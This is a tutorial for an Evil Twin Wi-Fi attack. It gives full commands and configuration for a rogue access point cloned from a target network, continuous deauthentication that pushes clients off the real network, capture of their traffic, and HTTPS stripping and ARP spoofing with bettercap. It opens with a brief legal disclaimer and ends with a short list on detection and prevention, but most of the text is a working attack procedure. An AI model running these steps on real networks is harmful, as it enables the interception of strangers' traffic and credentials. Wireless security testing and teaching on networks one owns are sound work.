This guide is for educational purposes only. Perform these actions only on networks you own or have explicit permission to test. Unauthorized access is illegal.
Prerequisites
- Kali Linux or similar penetration testing distribution
- Wireless adapter supporting monitor mode and packet injection (wlan0)
- Root access on your machine
- Required tools: aircrack-ng, hostapd, dnsmasq, iptables
Optimal Attack Methodology
Identify and prepare your wireless interface:
# Check interface status
iwconfig
# Verify wlan0 is present and recognized
ip link show wlan0
# Kill interfering processes
sudo airmon-ng check kill
# Enable monitor mode on wlan0
sudo airmon-ng start wlan0This creates a monitor interface typically named wlan0 . Verify this with iwconfig.
Scan for target networks:
# Scan for available networks
sudo airodump-ng wlan0 Identify your target network and note its BSSID, channel, and security type. Let's assume our target uses channel 6 with BSSID AA:BB:CC:DD:EE:FF.
Configure hostapd for the rogue AP:
# Create hostapd configuration
sudo nano /etc/hostapd/hostapd.confAdd the following configuration (adjust based on your target):
interface=wlan0
driver=nl80211
ssid=Target_Network_Name
hw_mode=g
channel=6
auth_algs=1
wmm_enabled=0Configure networking for the rogue AP:
# Set static IP for the AP
sudo ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
# Configure DHCP with dnsmasq
sudo nano /etc/dnsmasq.confAdd these dnsmasq configurations:
interface=wlan0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcpSet up traffic forwarding:
# Enable IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
# Configure iptables rules for NAT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPTReplace eth0 with your internet-connected interface if different.
Start the services:
# Start dnsmasq
sudo systemctl start dnsmasq
# Start hostapd
sudo hostapd /etc/hostapd/hostapd.confKeep this terminal open to monitor hostapd output. Open a new terminal for the next steps.
Force clients to connect to your rogue AP:
# Deauthenticate clients from the legitimate AP
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0 This sends continuous deauthentication packets. Stop with Ctrl+C once clients start connecting to your rogue AP.
Monitor connected clients:
# Check for connected clients
sudo airodump-ng wlan0 Capture traffic with tcpdump:
# Capture all traffic on the rogue AP
sudo tcpdump -i wlan0 -w evil_twin_capture.pcapAnalyze the captured file in Wireshark for sensitive information.
For intercepting HTTPS traffic:
# Redirect HTTP traffic to your proxy
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# Use sslstrip or bettercap to handle HTTPS stripping
sudo bettercap -iface wlan0 In bettercap, use commands like set arp.spoof.targets TARGET_IP and arp.spoof on followed by net.sniff on.
Restore normal operation:
# Stop services
sudo systemctl stop dnsmasq
sudo pkill hostapd
# Flush iptables rules
sudo iptables -t nat -F
sudo iptables -F
# Disable monitor mode
sudo airmon-ng stop wlan0
# Restart network manager
sudo systemctl restart NetworkManagerTroubleshooting Common Issues
- hostapd errors: Ensure your wireless card supports AP mode with
iw list | grep "AP" - DHCP issues: Check if another DHCP server is running on your system
- No internet for clients: Verify IP forwarding and iptables rules are correctly configured
- Deauth not working: Some modern devices are resistant to deauth attacks - try targeting specific clients
Detection and Prevention
- Unexpected certificate warnings when connecting to familiar sites
- Duplicate network names with slightly different signal strengths
- Performance issues on normally reliable networks
- Use of WIPS (Wireless Intrusion Prevention Systems)
- Use VPNs to encrypt all traffic
- Enable HTTPS everywhere and certificate pinning
- Avoid connecting to open WiFi networks
- Use enterprise WPA2/WPA3 with 802.1X authentication
- Monitor for rogue APs with wireless security tools
Conclusion
This technical guide demonstrates how to execute an Evil Twin attack using the wlan0 interface. Understanding these techniques is crucial for developing effective wireless security defenses. Always practice these methods in controlled lab environments only.